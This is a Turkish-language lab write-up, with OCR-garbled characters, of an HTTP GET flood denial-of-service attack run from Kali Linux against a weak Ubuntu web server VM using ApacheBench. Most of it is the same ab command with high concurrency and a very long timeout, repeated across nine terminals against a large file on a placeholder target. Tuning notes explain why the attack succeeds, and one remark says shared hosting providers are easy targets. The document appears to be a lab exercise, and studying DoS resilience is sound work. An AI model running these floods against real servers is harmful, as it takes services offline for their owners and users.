AB Tool’u ile Sanal Bir Web Sunucuya GET Flood DoS Saldirisi
(+) Birebir denenmistir ve basarili olunmustur.

(*) Uyari: Post flood icin hedef sunucuda yeterince yiik olusturulamadigindan dékiimanda yer
verilmemistir.
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Saldir1 Adimlari
1. Kali Linux VM ayarlar soyle yapilir:

4096 MB RAM (4GB Ram)
1 CPU

2. Get Flood DoS - Ubuntu 18.04 LTS VM ayarlar soyle yapilir:

512 MB RAM
1 CPU

3. Kali Linux VM’den hedef web adrese erisilir ve sayfanin anlik cevap verebildigi gozlemlenir.

4. Ardindan Kali Linux VM’de 9 adet ab tool’u ¢aligtirilir ve erigsimler tekrar denendiginde oldukca
yavaglik yasandigi ve erisimlerin durdugu gozlemlenir.

(*) Uyart:

Hedef web sunucuda daha ¢ok kaynak tiiketmek icin “get flood” saldirisini hedef web
adresteki biiyiik bir dosyay talep edilecek sekilde baslatiriz. Bu saldirida yaklagik 1,2
GB’lik ikTestMakinas1 imaji olan test.ova dosyasi get ile tekrarli talep edilecektir.
Kali Linux Terminal 1:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http:/HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Not:

-s :  Hittp Yanmitin1 Bekleme Timeout Siiresi (Default’ta 30 saniyedir)

-c:  Eszamanl http request sayisi
-n:  Toplam gonderilecek http request sayisi



Kali Linux Terminal 2:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 3:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 4:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 5:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 6:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 7:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 8:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
Kali Linux Terminal 9:

> sudo su

> ulimit -n 1000000

> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

5. Saldir ile hedef web adrese erisim denendiginde erisimler yavaslar ve durur.



Sonug

Ik 5 dakika icerisindeyken erisimler ara ara gelebiliyor ama saldir1 olmadi1 duruma gore yavaslik
oldukga hissediliyor. 5 dakika sonra ise erisimler tamamen gidiyor. Zaman zaman erisimlerin anlik
geldigi durumlar da yasanmigstir. Fakat genel itibariyle sunucu iiretilen trafikle bas edememektedir
ve servis dis1 kalmaktadir.

Uyar

Bu saldir bir lab ortaminda uygulanmaktadir. Saldirida hedef web sunucu vim’in kaynaklari
ozellikle diisiik tutulmustur. Ciinkii saldir1 performansi diisiik bir bilgisayardan yapilmaktadir.
Performansi yiiksek ve bant genigligi yliksek bir bilgisayardan (veya sunucudan) ayni saldir1 ayni
tool ile yapildiginda performansi yiiksek web sunucular servis dis1 birakilabilir.

Notlar

- GET flood'u hedef web adreste index.html sayfasina yapinca saldir1 basarili olmuyor. Dolayisiyla
biiyiik bir dosyaya get flood yapmak saldirinin basarili olmasi agisindan 6nemli.

- Saldin 6ncesi site erisimi cok seri iken saldir sirasinda baglanti oldukca yavaslamaktadir ve cogu
zaman da erisim durmustur.

- -s parametresi 10000 saniye (yani 16 kiisiir saat) seklinde olsun. Ciinkii yanitlar ge¢ gelince komut
timeout diyor ve ¢alismay1 durduruyor. Halbuki biz komut yanit alamasa da veya gec yanit alsa da
siirekli istek paketleri géndersin ve sunucuyu mesgul etsin istiyoruz. Yanitlar sunucudan gelebilir
oldugunda komut calismaya devam edecegi icin yine yogunluk bu parametre sayesinde
uygulayabilecektir. Dolayisiyla -s timeout siiresini yiiksek tutariz.

- Saldir1 durduruldugunda belli bir miiddet sunucuya erisimler halen gerceklesemeyecektir. Belli bir
miiddet sonunda erisimler gelecektir.

- Kurban VM’in igerisinde web tarayicidan localhost’tan giderek
http://localhost/server-status

adresinden sunucudaki yiik gozlemlenebilir. Fakat sunucu saldirida servis disi kaldiginda bu sayfa
yogunluktan dolay1 goriintiilenemeyebilir.

- Hosting firmalarina yapilan http get flood saldirilar1 kolaylikla bagarili olabilmektedir.

Clinkii hosting firmalar tek sunucuda birden fazla web uygulama barindirmaktadir ve tek sunucuda
barinan web uygulamalara azar azar kaynak paylastirmaktadirlar. Bu nedenle yiiksek performansh
donanima sahip yiiksek bant genislikli internete sahip bir sistemden saldir1 yapilmasa dahi bu tarz
hedeflerde saldirilar basarili olabilmektedir.

- Ana makinanda ab tool’u ile bu saldiriy1 baglatma! Tekrarh baglatinca bir siire sonra ana makine
kaynaklar1 doluyor ve ana makina kitleniyor. Dolayisiyla saldiriy1 lab ortami geregi Kali Linux VM
gibi bir sanal makinada baglat. Bu sayede sanal makina kitlense de ana makina ¢alismasini
siirdiirebilecektir. Sanal makinanin kitlendigine ise rastlanmamuistir.



- Saldin

> ab -c 100 -n 1000000 "http://192.168.56.125/test.ova"
ile yapilinca erisim basarili sekilde durdurulmakta. Fakat 6rnegin -c 1000 yapildiginda bir siire
sonra ab tool calismasi terminated oluyor ve tool ¢alismay1 durduruyor. Bu nedenle diisiik
performansl sistemim icin en stabil parametre ayar1 -c 100 seklinde.

Kaynaklar

https://www.youtube.com/watch?v=1QNBrj58aCc&ab_channel=LoopHoleWilson



